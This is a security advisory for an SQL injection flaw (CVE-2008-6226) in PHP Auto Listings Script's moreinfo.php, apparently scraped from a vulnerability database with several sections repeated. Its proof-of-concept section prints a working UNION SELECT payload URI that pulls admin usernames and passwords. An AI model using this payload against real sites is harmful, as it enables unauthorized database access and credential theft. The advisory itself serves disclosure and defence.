PHP Auto Listings Script 'moreinfo.php' SQL Injection Vulnerability
BID:32131
Info
PHP Auto Listings Script 'moreinfo.php' SQL Injection Vulnerability
| Bugtraq ID: | 32131 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-6226 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 05 2008 12:00AM |
| Updated: | Apr 16 2015 05:51PM |
| Credit: | G4N0K |
| Vulnerable: |
Pre Projects PHP Auto Listings Script 0 |
| Not Vulnerable: | |
Discussion
PHP Auto Listings Script 'moreinfo.php' SQL Injection Vulnerability
PHP Auto Listings Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHP Auto Listings Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
PHP Auto Listings Script 'moreinfo.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.exmaple.com/[path]/moreinfo.php?pg=4&itemno=122-20'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,+concat(0x3a,user,0x3a,pass)+FROM+admin--+AND+'GNK'='GNK&catid=11
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.exmaple.com/[path]/moreinfo.php?pg=4&itemno=122-20'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,+concat(0x3a,user,0x3a,pass)+FROM+admin--+AND+'GNK'='GNK&catid=11
Solution / Fix
PHP Auto Listings Script 'moreinfo.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PHP Auto Listings Script 'moreinfo.php' SQL Injection Vulnerability
References:
References:
- PHP Auto Listings Script Homepage (Pre Projects)